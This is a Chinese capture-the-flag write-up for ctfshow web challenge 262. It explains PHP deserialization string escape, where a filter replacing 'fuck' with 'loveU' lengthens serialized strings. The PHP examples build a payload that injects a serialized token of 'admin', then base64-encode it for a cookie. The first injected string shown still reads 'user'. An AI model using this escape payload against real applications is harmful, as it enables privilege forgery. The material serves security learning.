通过ctfshow web入门262——初时反序列化逃逸

ctfshow web入门262

1.分析题目：

这道题目是一道反序列化逃逸问题：

 $umsg = str_replace('fuck', 'loveU', serialize($msg));

可以看到在注释中有一个message.php的文件，这里我们我们访问：
我们发现需要修改token为admin，并且传递的cookie要以base64编码。

字符逃逸的原理：

（1）当正常传入参数时：

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($msg){
    return str_replace('fuck', 'loveU', serialize($msg));
}
$msg=new message('a','b','c');
echo serialize($msg);
//结果为：O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

（2）当传入的参数包含特殊字符时：

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($msg){
    return str_replace('fuck', 'loveU',$msg);
}
$msg=new message('fuck','b','c');
$msg_1=serialize($msg);
echo filter($msg_1);
//结果为：O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

通过比较发现from的值已经发生了变化，但是这个时候反序列化是不能成功的，原因可以自己百度，这里不再赘述。

构造payload：

根据题意，我们需要修改token为admin，需要执行：

";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:4:"user";}

这里一共是62的字符，所以前面也需要多出62个字符来逃逸，所以需要提前输入62个特殊字符：

代码：

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($msg){
    return str_replace('fuck', 'loveU',$msg);
}
$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}','a','b');
$msg_1=serialize($msg);
$msg_2=filter($msg_1);
echo $msg_2;
//结果为：O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:4:"user";}

然后我们将这个进行base64编码：
然后将其添加在cookie中发送：
执行以后得到结果：